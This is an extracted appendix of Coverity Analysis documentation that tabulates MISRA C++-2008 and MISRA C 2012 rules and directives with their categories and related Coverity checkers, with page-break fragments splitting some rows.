Rule 14-8-2	Function Template Specialization	The viable function set for a function call should either contain no function specializations, or only contain function specializations.	Advisory	MISRA C++-2008 Rule 14-8-2
Rule 15-0-1	General	Exceptions shall only be used for error handling.	Document	
Rule 15-0-2	General	An exception object should not have pointer type.	Advisory	MISRA C++-2008 Rule 15-0-2
Rule 15-0-3	General	Control shall not be transferred into a try or catch block using a goto or a switch statement.	Required	MISRA C++-2008 Rule 15-0-3
Rule 15-1-1	Throwing an exception	The assignment-expression of a throw statement shall not itself cause an exception to be thrown.	Required	MISRA C++-2008 Rule 15-1-1
Rule 15-1-2	Throwing an exception	NULL shall not be thrown explicitly.	Required	MISRA C++-2008 Rule 15-1-2
Rule 15-1-3	Throwing an exception	An empty throw (throw;) shall only be used in the compound-statement of a catch handler.	Required	MISRA C++-2008 Rule 15-1-3
Rule 15-3-1	Handling an exception	Exceptions shall be raised only after	Required	MISRA C++-2008 Rule 15-3-1

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		start-up and before termination of the program.		
Rule 15-3-2	Handling an exception	There should be at least one exception handler to catch all otherwise unhandled exceptions.	Advisory	MISRA C++-2008 Rule 15-3-2
Rule 15-3-3	Handling an exception	Handlers of a function-try-block implementation of a class constructor or destructor shall not reference nonstatic members from this class or its bases.	Required	MISRA C++-2008 Rule 15-3-3
Rule 15-3-4	Handling an exception	Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point.	Required	MISRA C++-2008 Rule 15-3-4
Rule 15-3-5	Handling an exception	A class type exception shall always be caught by reference.	Required	MISRA C++-2008 Rule 15-3-5
Rule 15-3-6	Handling an exception	Where multiple handlers are provided in a single try-catch statement or function-try-block for a derived class and some or all of its bases, the handlers shall be ordered most-derived to base class.	Required	MISRA C++-2008 Rule 15-3-6
Rule 15-3-7	Handling an exception	Where multiple handlers are	Required	MISRA C++-2008 Rule 15-3-7

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		provided in a single try-catch statement or function-try-block, any ellipsis (catch-all) handler shall occur last.		
Rule 15-4-1	Exception Specifications	If a function is declared with an exception-specification, then all declarations of the same function (in other translation units) shall be declared with the same set of type-ids.	Required	MISRA C++-2008 Rule 15-4-1
Rule 15-5-1	Special Functions	A class destructor shall not exit with an exception.	Required	MISRA C++-2008 Rule 15-5-1
Rule 15-5-2	Special Functions	Where a function's declaration includes an exception specification, the function shall only be capable of throwing exceptions of the indicated type(s).	Required	MISRA C++-2008 Rule 15-5-2
Rule 15-5-3	Special Functions	The terminate() function shall not be called implicitly.	Required	MISRA C++-2008 Rule 15-5-3
Rule 16-0-1	General	#include directives in a file shall only be preceded by other preprocessor directives or comments.	Required	MISRA C++-2008 Rule 16-0-1
Rule 16-0-2	General	Macros shall only be #defined or #undefd in the global namespace.	Required	MISRA C++-2008 Rule 16-0-2

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 16-0-3	General	#undef shall not be used.	Required	MISRA C++-2008 Rule 16-0-3
Rule 16-0-4	General	Function-like macros shall not be defined.	Required	MISRA C++-2008 Rule 16-0-4
Rule 16-0-5	General	Arguments to a function-like macro shall not contain tokens that look like preprocessing directives.	Required	MISRA C++-2008 Rule 16-0-5
Rule 16-0-6	General	In the definition of a function-like macro, each instance of a parameter shall be enclosed in parentheses, unless it is used as the operand of # or ##.	Required	MISRA C++-2008 Rule 16-0-6
Rule 16-0-7	General	Undefined macro identifiers shall not be used in #if or #elif preprocessor directives, except as operands to the defined operator.	Required	MISRA C++-2008 Rule 16-0-7
Rule 16-0-8	General	If the # token appears as the first token on a line, then it shall be immediately followed by a preprocessing token.	Required	MISRA C++-2008 Rule 16-0-8
Rule 16-1-1	Conditional Inclusion	The defined preprocessor operator shall only be used in one of the two standard forms.	Required	MISRA C++-2008 Rule 16-1-1

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 16-1-2	Conditional Inclusion	All #else, #elif and #endif preprocessor directives shall reside in the same file as the #if or #ifdef directive to which they are related.	Required	MISRA C++-2008 Rule 16-1-2
Rule 16-2-1	Source File Inclusion	The pre-processor shall only be used for file inclusion and include guards.	Required	MISRA C++-2008 Rule 16-2-1
Rule 16-2-2	Source File Inclusion	C++ macros shall only be used for include guards, type qualifiers, or storage class specifiers.	Required	MISRA C++-2008 Rule 16-2-2
Rule 16-2-3	Source File Inclusion	Include guards shall be provided.	Required	MISRA C++-2008 Rule 16-2-3
Rule 16-2-4	Source File Inclusion	The ', ', /* or // characters shall not occur in a header file name.	Required	MISRA C++-2008 Rule 16-2-4
Rule 16-2-5	Source File Inclusion	The \ character should not occur in a header file name.	Advisory	MISRA C++-2008 Rule 16-2-5
Rule 16-2-6	Source File Inclusion	The #include directive shall be followed by either a <filename> or "filename" sequence.	Required	MISRA C++-2008 Rule 16-2-6
Rule 16-3-1	Macro Replacement	There shall be at most one occurrence of the # or ## operators in a single macro definition.	Required	MISRA C++-2008 Rule 16-3-1
Rule 16-3-2	Macro Replacement	The # and ## operators should not be used.	Advisory	MISRA C++-2008 Rule 16-3-2

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 16-6-1	Pragma directive	All uses of the #pragma directive shall be documented.	Document	
Rule 17-0-1	General	Reserved identifiers, macros and functions in the standard library shall not be defined, redefined or undefined.	Required	MISRA C++-2008 Rule 17-0-1
Rule 17-0-2	General	The names of standard library macros and objects shall not be reused.	Required	MISRA C++-2008 Rule 17-0-2
Rule 17-0-3	General	The names of standard library functions shall not be overridden.	Required	MISRA C++-2008 Rule 17-0-3
Rule 17-0-4	General	All library code shall conform to MISRA C++.	Document	
Rule 17-0-5	General	The setjmp macro and the longjmp function shall not be used.	Required	MISRA C++-2008 Rule 17-0-5
Rule 18-0-1	General	C++ libraries with corresponding C compatible libraries must use the C++ version.	Required	MISRA C++-2008 Rule 18-0-1
Rule 18-0-2	General	The library functions atof, atoi and atol from library <cstdlib> shall not be used.	Required	MISRA C++-2008 Rule 18-0-2
Rule 18-0-3	General	The library functions abort, exit, getenv and system from library <cstdlib> shall not be used.	Required	MISRA C++-2008 Rule 18-0-3

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 18-0-4	General	The time handling functions of library <ctime> shall not be used.	Required	MISRA C++-2008 Rule 18-0-4
Rule 18-0-5	General	The unbounded functions of library <cstring> shall not be used.	Required	MISRA C++-2008 Rule 18-0-5
Rule 18-2-1	Implementation Properties.	The macro offsetof shall not be used.	Required	MISRA C++-2008 Rule 18-2-1
Rule 18-4-1	Dynamic Memory Management	Dynamic heap memory allocation shall not be used.	Required	MISRA C++-2008 Rule 18-4-1
Rule 18-7-1	Other Runtime Support	The signal handling facilities of <csignal> shall not be used.	Required	MISRA C++-2008 Rule 18-7-1
Rule 19-3-1	Error Numbers	The error indicator errno shall not be used.	Required	MISRA C++-2008 Rule 19-3-1
Rule 27-0-1	General	The stream input/output library <cstdio> shall not be used.	Required	MISRA C++-2008 Rule 27-0-1

## E.4. MISRA C 2012

Table E.3. MISRA C 2012

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
Directive 1.1	Directive	Any implementation-defined behaviour on which the output of the program depends shall be documented and understood.	Required	
Directive 2.1	Directive	All source files shall compile without any compilation errors.	Required	

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Directive 3.1	Directive	All code shall be traceable to documented requirements.	Required	
Directive 4.1	Directive	Run-time failures shall be minimized.	Required	
Directive 4.2	Directive	All usage of assembly language should be documented.	Advisory	
Directive 4.3	Directive	Assembly language shall be encapsulated and isolated.	Required	MISRA C-2012 Directive 4.3
Directive 4.4	Directive	Sections of code should not be "commented out".	Advisory	MISRA C-2012 Directive 4.4
Directive 4.5	Directive	Identifiers in the same name space with overlapping visibility should be typographically unambiguous.	Advisory	MISRA C-2012 Directive 4.5
Directive 4.6	Directive	Typedefs that indicate size and signedness should be used in place of the basic numerical types.	Advisory	MISRA C-2012 Directive 4.6
Directive 4.7	Directive	If a function returns error information, then that error information shall be tested.	Required	MISRA C-2012 Directive 4.7
Directive 4.8	Directive	If a pointer to a structure or union is never dereferenced within a Translation Unit, then the implementation of the object should be hidden.	Advisory	MISRA C-2012 Directive 4.8

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Directive 4.9	Directive	A function should be used in preference to a function-like macro where they are interchangeable.	Advisory	MISRA C-2012 Directive 4.9
Directive 4.10	Directive	Precautions shall be taken in order to prevent the contents of a header file being included more than once.	Required	MISRA C-2012 Directive 4.10
Directive 4.11	Directive	The validity of values passed to library functions shall be checked.	Required	MISRA C-2012 Directive 4.11
Directive 4.12	Directive	Dynamic memory allocation shall not be used.	Required	MISRA C-2012 Directive 4.12
Directive 4.13	Directive	Functions which are designed to provide operations on a resource should be called in an appropriate sequence.	Advisory	MISRA C-2012 Directive 4.13
Directive 4.14	Directive	The validity of values received from external sources shall be checked.	Required	MISRA C-2012 Directive 4.14
Rule 1.1	Rule	The program shall contain no violations of the standard C syntax and constraints, and shall not exceed the implementation's translation limits.	Required	MISRA C-2012 Rule 1.1

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 1.2	Rule	Language extensions should not be used.	Advisory	MISRA C-2012 Rule 1.2
Rule 1.3	Rule	There shall be no occurrence of undefined or critical unspecified behaviour.	Required	
Rule 1.4	Rule	Emergent language features shall not be used.	Required	MISRA C-2012 Rule 1.4
Rule 2.1	Rule	A project shall not contain unreachable code.	Required	MISRA C-2012 Rule 2.1
Rule 2.2	Rule	There shall be no dead code.	Required	MISRA C-2012 Rule 2.2
Rule 2.3	Rule	A project should not contain unused type declarations.	Advisory	MISRA C-2012 Rule 2.3
Rule 2.4	Rule	A project should not contain unused tag declarations.	Advisory	MISRA C-2012 Rule 2.4
Rule 2.5	Rule	A project should not contain unused macro declarations.	Advisory	MISRA C-2012 Rule 2.5
Rule 2.6	Rule	A function should not contain unused label declarations.	Advisory	MISRA C-2012 Rule 2.6
Rule 2.7	Rule	There should be no unused parameters in functions.	Advisory	MISRA C-2012 Rule 2.7
Rule 3.1	Rule	The character sequences /* and // shall not be used within a comment.	Required	MISRA C-2012 Rule 3.1
Rule 3.2	Rule	Line-splicing shall not be used in // comments.	Required	MISRA C-2012 Rule 3.2
Rule 4.1	Rule	Octal and hexadecimal	Required	MISRA C-2012 Rule 4.1

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		escape sequences shall be terminated.		
Rule 4.2	Rule	Trigraphs should not be used.	Advisory	MISRA C-2012 Rule 4.2
Rule 5.1	Rule	External identifiers shall be distinct.	Required	MISRA C-2012 Rule 5.1
Rule 5.2	Rule	Identifiers declared in the same scope and name space shall be distinct.	Required	MISRA C-2012 Rule 5.2
Rule 5.3	Rule	An identifier declared in an inner scope shall not hide an identifier declared in an outer scope.	Required	MISRA C-2012 Rule 5.3
Rule 5.4	Rule	Macro identifiers shall be distinct.	Required	MISRA C-2012 Rule 5.4
Rule 5.5	Rule	Identifiers shall be distinct from macro names.	Required	MISRA C-2012 Rule 5.5
Rule 5.6	Rule	A typedef name shall be a unique identifier.	Required	MISRA C-2012 Rule 5.6
Rule 5.7	Rule	A tag name shall be a unique identifier.	Required	MISRA C-2012 Rule 5.7
Rule 5.8	Rule	Identifiers that define objects or functions with external linkage shall be unique.	Required	MISRA C-2012 Rule 5.8
Rule 5.9	Rule	Identifiers that define objects or functions with internal linkage should be unique.	Advisory	MISRA C-2012 Rule 5.9
Rule 6.1	Rule	Bit-fields shall only be declared with an appropriate type.	Required	MISRA C-2012 Rule 6.1

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 6.2	Rule	Single-bit named bit fields shall not be of a signed type.	Required	MISRA C-2012 Rule 6.2
Rule 7.1	Rule	Octal constants shall not be used.	Required	MISRA C-2012 Rule 7.1
Rule 7.2	Rule	A "u" or "U" suffix shall be applied to all integer constants that are represented in an unsigned type.	Required	MISRA C-2012 Rule 7.2
Rule 7.3	Rule	The lowercase character "l" shall not be used in a literal suffix.	Required	MISRA C-2012 Rule 7.3
Rule 7.4	Rule	A string literal shall not be assigned to an object unless the object's type is "pointer to const-qualified char".	Required	MISRA C-2012 Rule 7.4
Rule 8.1	Rule	Types shall be explicitly specified.	Required	MISRA C-2012 Rule 8.1
Rule 8.2	Rule	Function types shall be in prototype form with named parameters.	Required	MISRA C-2012 Rule 8.2
Rule 8.3	Rule	All declarations of an object or function shall use the same names and type qualifiers.	Required	MISRA C-2012 Rule 8.3
Rule 8.4	Rule	A compatible declaration shall be visible when an object or function with external linkage is defined.	Required	MISRA C-2012 Rule 8.4
Rule 8.5	Rule	An external object or function shall be declared once in	Required	MISRA C-2012 Rule 8.5

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		one and only one file.		
Rule 8.6	Rule	An identifier with external linkage shall have exactly one external definition.	Required	MISRA C-2012 Rule 8.6
Rule 8.7	Rule	Functions and objects should not be defined with external linkage if they are referenced in only one translation unit.	Advisory	MISRA C-2012 Rule 8.7
Rule 8.8	Rule	The static storage class specifier shall be used in all declarations of objects and functions that have internal linkage.	Required	MISRA C-2012 Rule 8.8
Rule 8.9	Rule	An object should be defined at block scope if its identifier only appears in a single function.	Advisory	MISRA C-2012 Rule 8.9
Rule 8.10	Rule	An inline function shall be declared with the static storage class.	Required	MISRA C-2012 Rule 8.10
Rule 8.11	Rule	When an array with external linkage is declared, its size should be explicitly specified.	Advisory	MISRA C-2012 Rule 8.11
Rule 8.12	Rule	Within a n enumerator list, the value of an implicitly-specified enumeration constant shall be unique.	Required	MISRA C-2012 Rule 8.12

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 8.13	Rule	A pointer should point to a const-qualified type whenever possible.	Advisory	MISRA C-2012 Rule 8.13
Rule 8.14	Rule	The restrict type qualifier shall not be used.	Required	MISRA C-2012 Rule 8.14
Rule 9.1	Rule	The value of an object with automatic storage duration shall not be read before it has been set.	Mandatory	MISRA C-2012 Rule 9.1
Rule 9.2	Rule	The initializer for an aggregate or union shall be enclosed in braces.	Required	MISRA C-2012 Rule 9.2
Rule 9.3	Rule	Arrays shall not be partially initialized.	Required	MISRA C-2012 Rule 9.3
Rule 9.4	Rule	An element of an object shall not be initialized more than once.	Required	MISRA C-2012 Rule 9.4
Rule 9.5	Rule	Where designated initializers are used to initialize an array object the size of the array shall be specified explicitly.	Required	MISRA C-2012 Rule 9.5
Rule 10.1	Rule	Operands shall not be of an inappropriate essential type.	Required	MISRA C-2012 Rule 10.1
Rule 10.2	Rule	Expressions of essentially character type shall not be used inappropriately in addition and subtraction operation.	Required	MISRA C-2012 Rule 10.2

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 10.3	Rule	The value of an expression shall not be assigned to an object with a narrower essential type or of a different essential type category.	Required	MISRA C-2012 Rule 10.3
Rule 10.4	Rule	Both operands of an operator in which the usual arithmetic conversions are performed shall have the same essential type category.	Required	MISRA C-2012 Rule 10.4
Rule 10.5	Rule	The value of an expression should not be cast to an inappropriate essential type.	Advisory	MISRA C-2012 Rule 10.5
Rule 10.6	Rule	The value of a composite expression shall not be assigned to an object with wider essential type.	Required	MISRA C-2012 Rule 10.6
Rule 10.7	Rule	If a composite expression is used as one operand of an operator in which the usual arithmetic conversions are performed then the other operand shall not have wider essential type.	Required	MISRA C-2012 Rule 10.7
Rule 10.8	Rule	The value of a composite expression shall not be cast to a	Required	MISRA C-2012 Rule 10.8

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		different essential type category or a wider essential type.		
Rule 11.1	Rule	Conversions shall not be performed between a pointer to a function and any other type.	Required	MISRA C-2012 Rule 11.1
Rule 11.2	Rule	Conversions shall not be performed between a pointer to an incomplete type and any other type.	Required	MISRA C-2012 Rule 11.2
Rule 11.3	Rule	A cast shall not be performed between a pointer to object type and a pointer to a different object type.	Required	MISRA C-2012 Rule 11.3
Rule 11.4	Rule	A conversion should not be performed between a pointer to object and an integer type.	Advisory	MISRA C-2012 Rule 11.4
Rule 11.5	Rule	A conversion should not be performed from pointer to void into pointer to object.	Advisory	MISRA C-2012 Rule 11.5
Rule 11.6	Rule	A cast shall not be performed between pointer to void and an arithmetic type.	Required	MISRA C-2012 Rule 11.6
Rule 11.7	Rule	A cast shall not be performed between pointer to object and a non-integer arithmetic type.	Required	MISRA C-2012 Rule 11.7
Rule 11.8	Rule	A cast shall not remove any	Required	MISRA C-2012 Rule 11.8

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		const or volatile qualification from the type pointed to by a pointer.		
Rule 11.9	Rule	The macro NULL shall be the only permitted form of integer null pointer constant.	Required	MISRA C-2012 Rule 11.9
Rule 12.1	Rule	The precedence of operators within expressions should be made explicit.	Advisory	MISRA C-2012 Rule 12.1
Rule 12.2	Rule	The right hand operand of a shift operator shall lie in the range zero to one less than the width in bits of the essential type of the left hand operand.	Required	MISRA C-2012 Rule 12.2
Rule 12.3	Rule	The comma operator should not be used.	Advisory	MISRA C-2012 Rule 12.3
Rule 12.4	Rule	Evaluation of constant expressions should not lead to unsigned integer wrap-around.	Advisory	MISRA C-2012 Rule 12.4
Rule 12.5	Rule	The sizeof operator shall not have an operand which is a function parameter declared as "array of type".	Mandatory	MISRA C-2012 Rule 12.5
Rule 13.1	Rule	Initializer lists shall not contain persistent side effects.	Required	MISRA C-2012 Rule 13.1

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
Rule 13.2	Rule	The value of an expression and its persistent side effects shall be the same under all permitted evaluation orders.	Required	MISRA C-2012 Rule 13.2
Rule 13.3	Rule	A full expression containing an increment (++) or decrement (--) operator should have no other potential side effects other than that caused by the increment or decrement operator.	Advisory	MISRA C-2012 Rule 13.3
Rule 13.4	Rule	The result of an assignment operator should not be used.	Advisory	MISRA C-2012 Rule 13.4
Rule 13.5	Rule	The right hand operand of a logical && or    operator shall not contain persistent side effects.	Required	MISRA C-2012 Rule 13.5
Rule 13.6	Rule	The operand of the sizeof operator shall not contain any expression which has potential side effects.	Mandatory	MISRA C-2012 Rule 13.6
Rule 14.1	Rule	A loop counter shall not have essentially floating type.	Required	MISRA C-2012 Rule 14.1
Rule 14.2	Rule	A for loop shall be well-formed.	Required	MISRA C-2012 Rule 14.2

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 14.3	Rule	Controlling expressions shall not be invariant.	Required	MISRA C-2012 Rule 14.3
Rule 14.4	Rule	The controlling expression of an if statement and the controlling expression of an iteration-statement shall have essentially Boolean type.	Required	MISRA C-2012 Rule 14.4
Rule 15.1	Rule	The goto statement should not be used.	Advisory	MISRA C-2012 Rule 15.1
Rule 15.2	Rule	The goto statement shall jump to a label declared later in the same function.	Required	MISRA C-2012 Rule 15.2
Rule 15.3	Rule	Any label referenced by a goto statement shall be declared in the same block, or in any block enclosing the goto statement.	Required	MISRA C-2012 Rule 15.3
Rule 15.4	Rule	There should be no more than one break or goto statement used to terminate any iteration statement.	Advisory	MISRA C-2012 Rule 15.4
Rule 15.5	Rule	A function should have a single point of exit at the end.	Advisory	MISRA C-2012 Rule 15.5
Rule 15.6	Rule	The body of an iteration-statement or a selection-statement shall be a compound statement.	Required	MISRA C-2012 Rule 15.6

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
Rule 15.7	Rule	All if ... else if constructs shall be terminated with an else statement.	Required	MISRA C-2012 Rule 15.7
Rule 16.1	Rule	All switch statements shall be well formed.	Required	MISRA C-2012 Rule 16.1
Rule 16.2	Rule	A switch label shall only be used when the most closely-enclosing compound statement is the body of a switch statement.	Required	MISRA C-2012 Rule 16.2
Rule 16.3	Rule	An unconditional break statement shall terminate every switch-clause.	Required	MISRA C-2012 Rule 16.3
Rule 16.4	Rule	Every switch statement shall have a default label.	Required	MISRA C-2012 Rule 16.4
Rule 16.5	Rule	A default label shall appear as either the first or the last switch label of a switch statement.	Required	MISRA C-2012 Rule 16.5
Rule 16.6	Rule	Every switch statement shall have at least two switch clauses.	Required	MISRA C-2012 Rule 16.6
Rule 16.7	Rule	A switch expression shall not have an essentially Boolean type.	Required	MISRA C-2012 Rule 16.7
Rule 17.1	Rule	The features of <stdarg.h> shall not be used.	Required	MISRA C-2012 Rule 17.1
Rule 17.2	Rule	Functions shall not call themselves,	Required	MISRA C-2012 Rule 17.2

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		either directly or indirectly.		
Rule 17.3	Rule	A function shall not be declared implicitly.	Mandatory	MISRA C-2012 Rule 17.3
Rule 17.4	Rule	All exit paths from a function with non-void return type shall have an explicit return statement with an expression.	Mandatory	MISRA C-2012 Rule 17.4
Rule 17.5	Rule	The function argument corresponding to a parameter declared to have an array type shall have an appropriate number of elements.	Advisory	MISRA C-2012 Rule 17.5
Rule 17.6	Rule	The declaration of an array parameter shall not contain the static keyword between the [].	Mandatory	MISRA C-2012 Rule 17.6
Rule 17.7	Rule	The value returned by a function having non-void return type shall be used.	Required	MISRA C-2012 Rule 17.7
Rule 17.8	Rule	A function parameter should not be modified.	Advisory	MISRA C-2012 Rule 17.8
Rule 18.1	Rule	A pointer resulting from arithmetic on a pointer operand shall address an elements of the same array as that pointer operand.	Required	MISRA C-2012 Rule 18.1
Rule 18.2	Rule	Subtraction between pointers	Required	MISRA C-2012 Rule 18.2

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		shall only be applied to pointers that address elements of the same array.		
Rule 18.3	Rule	The relational operators >, >=, < and <= shall only be applied to pointers that point into the same object.	Required	MISRA C-2012 Rule 18.3
Rule 18.4	Rule	The +, -, += and -= operators should not be applied to an expression of pointer type.	Advisory	MISRA C-2012 Rule 18.4
Rule 18.5	Rule	Declarations should contain no more than two levels of pointer nesting.	Advisory	MISRA C-2012 Rule 18.5
Rule 18.6	Rule	The address of an object with automatic storage shall not be copied to another object that persists after the first object has ceased to exist.	Required	MISRA C-2012 Rule 18.6
Rule 18.7	Rule	Flexible array members shall not be declared.	Required	MISRA C-2012 Rule 18.7
Rule 18.8	Rule	Variable-length array types shall not be used.	Required	MISRA C-2012 Rule 18.8
Rule 19.1	Rule	An object shall not be assigned or copied to an overlapping object.	Mandatory	MISRA C-2012 Rule 19.1
Rule 19.2	Rule	The union keyword should not be used.	Advisory	MISRA C-2012 Rule 19.2

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 20.1	Rule	#include directives should only be preceded by preprocessor directives or comments.	Advisory	MISRA C-2012 Rule 20.1
Rule 20.2	Rule	The ', " or \ characters and the / * or // character sequences shall not occur in a header file name.	Required	MISRA C-2012 Rule 20.2
Rule 20.3		The #include directive shall be followed by either a <filename> or "filename" sequence.	Required	MISRA C-2012 Rule 20.3
Rule 20.4	Rule	A macro shall not be defined with the same name as a keyword.	Required	MISRA C-2012 Rule 20.4
Rule 20.5	Rule	#undef should not be used.	Advisory	MISRA C-2012 Rule 20.5
Rule 20.6	Rule	Tokens that look like a preprocessing directive shall not occur within a macro argument.	Required	MISRA C-2012 Rule 20.6
Rule 20.7	Rule	Expressions resulting from the expansion of macro parameters shall be enclosed in parentheses.	Required	MISRA C-2012 Rule 20.7
Rule 20.8	Rule	The controlling expression of a #if or #elif preprocessing directive shall evaluate to 0 or 1.	Required	MISRA C-2012 Rule 20.8

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
Rule 20.9	Rule	All identifiers used in the controlling expression of #if or #elif preprocessing directives shall be #define'd before evaluation.	Required	MISRA C-2012 Rule 20.9
Rule 20.10	Rule	The # and ## preprocessor operators should not be used.	Advisory	MISRA C-2012 Rule 20.10
Rule 20.11	Rule	A macro parameter immediately following a # operator shall not immediately be followed by a ## operator.	Required	MISRA C-2012 Rule 20.11
Rule 20.12	Rule	A macro parameter used as an operand to the # or ## operators, which is itself subject to further macro replacement, shall only be used as an operand to these operators.	Required	MISRA C-2012 Rule 20.12
Rule 20.13	Rule	A line whose first token is # shall be a valid preprocessing directive.	Required	MISRA C-2012 Rule 20.13
Rule 20.14	Rule	All #else, #elif and #endif preprocessor directives shall reside in the same file as the #if, #ifdef or #ifndef directive to which they are related.	Required	MISRA C-2012 Rule 20.14
Rule 21.1	Rule	#define and #undef shall not be used on a	Required	MISRA C-2012 Rule 21.1

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		reserved identifier or reserved macro name.		
Rule 21.2	Rule	A reserved identifier or macro name shall not be declared.	Required	MISRA C-2012 Rule 21.2
Rule 21.3	Rule	The memory allocation and deallocation functions of <stdlib.h> shall not be used.	Required	MISRA C-2012 Rule 21.3
Rule 21.4	Rule	The standard header file <setjmp.h> shall not be used.	Required	MISRA C-2012 Rule 21.4
Rule 21.5	Rule	The standard header file <signal.h> shall not be used.	Required	MISRA C-2012 Rule 21.5
Rule 21.6	Rule	The Standard Library input/output functions shall not be used.	Required	MISRA C-2012 Rule 21.6
Rule 21.7	Rule	The Standard Library functions atof, atoi, atol and atoll of <stdlib.h> shall not be used.	Required	MISRA C-2012 Rule 21.7
Rule 21.8	Rule	The Standard Library termination functions of <stdlib.h> shall not be used.	Required	MISRA C-2012 Rule 21.8
Rule 21.9	Rule	The Standard Library functions bsearch and qsort of <stdlib.h> shall not be used.	Required	MISRA C-2012 Rule 21.9
Rule 21.10	Rule	The Standard Library time and	Required	MISRA C-2012 Rule 21.10

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		date functions shall not be used.		
Rule 21.11	Rule	The standard header file <tmath.h> shall not be used.	Required	MISRA C-2012 Rule 21.11
Rule 21.12	Rule	The exception handling features of <fenv.h> should not be used.	Advisory	MISRA C-2012 Rule 21.12
Rule 21.13	Rule	Any value passed to a function in <ctype.h> shall be representable as an unsigned char or be the value EOF.	Mandatory	MISRA C-2012 Rule 21.13
Rule 21.14	Rule	The Standard Library function memcmp shall not be used to compare null terminated strings.	Required	MISRA C-2012 Rule 21.14
Rule 21.15	Rule	The pointer arguments to the Standard Library functions memcpy, memmove and memcmp shall be pointers to qualified or unqualified versions of compatible types.	Required	MISRA C-2012 Rule 21.15
Rule 21.16	Rule	The pointer arguments to the Standard Library function memcmp shall point to either a pointer type, an essentially signed type, an essentially unsigned type, an essentially Boolean type or an	Required	MISRA C-2012 Rule 21.16

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		essentially enum type.		
Rule 21.17	Rule	Use of the string handling functions from <string.h> shall not result in accesses beyond the bounds of the objects referenced by their pointer parameters.	Mandatory	MISRA C-2012 Rule 21.17
Rule 21.18	Rule	The size_t argument passed to any function in <string.h> shall have an appropriate value.	Mandatory	MISRA C-2012 Rule 21.18
Rule 21.19	Rule	The pointers returned by the Standard Library functions localeconv, getenv, setlocale or, strerror shall only be used as if they have pointer to const-qualified type.	Mandatory	MISRA C-2012 Rule 21.19
Rule 21.20	Rule	The pointer returned by the Standard Library functions asctime, ctime, gmtime, localtime, localeconv, getenv, setlocale or strerror shall not be used following a subsequent call to the same function.	Mandatory	MISRA C-2012 Rule 21.20
Rule 21.21	Rule	The Standard Library function system of	Required	MISRA C-2012 Rule 21.21

MISRA Rules and Directives

Rule/Directive	Summary	Description	Default Category	Related Coverity Checker
		<stdlib.h> shall not be used.		
Rule 22.1	Rule	All resources obtained dynamically by means of Standard Library functions shall be explicitly released.	Required	MISRA C-2012 Rule 22.1
Rule 22.2	Rule	A block of memory shall only be freed if it was allocated by means of a Standard Library function.	Mandatory	MISRA C-2012 Rule 22.2
Rule 22.3	Rule	The same file shall not be open for read and write access at the same time on different streams.	Required	MISRA C-2012 Rule 22.3
Rule 22.4	Rule	There shall be no attempt to write to a stream which has been opened as read-only.	Mandatory	MISRA C-2012 Rule 22.4
Rule 22.5	Rule	A pointer to a FILE object shall not be dereferenced.	Mandatory	MISRA C-2012 Rule 22.5
Rule 22.6	Rule	The value of a pointer to a FILE shall not be used after the associated stream has been closed.	Mandatory	MISRA C-2012 Rule 22.6
Rule 22.7	Rule	The macro EOF shall only be compared with the unmodified return value from any Standard Library	Required	MISRA C-2012 Rule 22.7

MISRA Rules and Directives

<b>Rule/Directive</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
		function capable of returning EOF.		
Rule 22.8	Rule	The value of errno shall be set to zero prior to a call to an errno-setting-function.	Required	MISRA C-2012 Rule 22.8
Rule 22.9	Rule	The value of errno shall be tested against zero after calling an errno-setting-function.	Required	MISRA C-2012 Rule 22.9
Rule 22.10	Rule	The value of errno shall only be tested when the last function to be called was an errno-setting-function.	Required	MISRA C-2012 Rule 22.10

---

# Appendix F. SEI CERT Rules

## Table of Contents

F.1. Overview .....	1164
F.2. SEI CERT C Rules .....	1164
F.3. SEI CERT C++ Rules .....	1173
F.4. SEI CERT Java Coding Standard .....	1179

## F.1. Overview

Coverity Analysis can identify violations of the SEI CERT rules listed in the following tables.

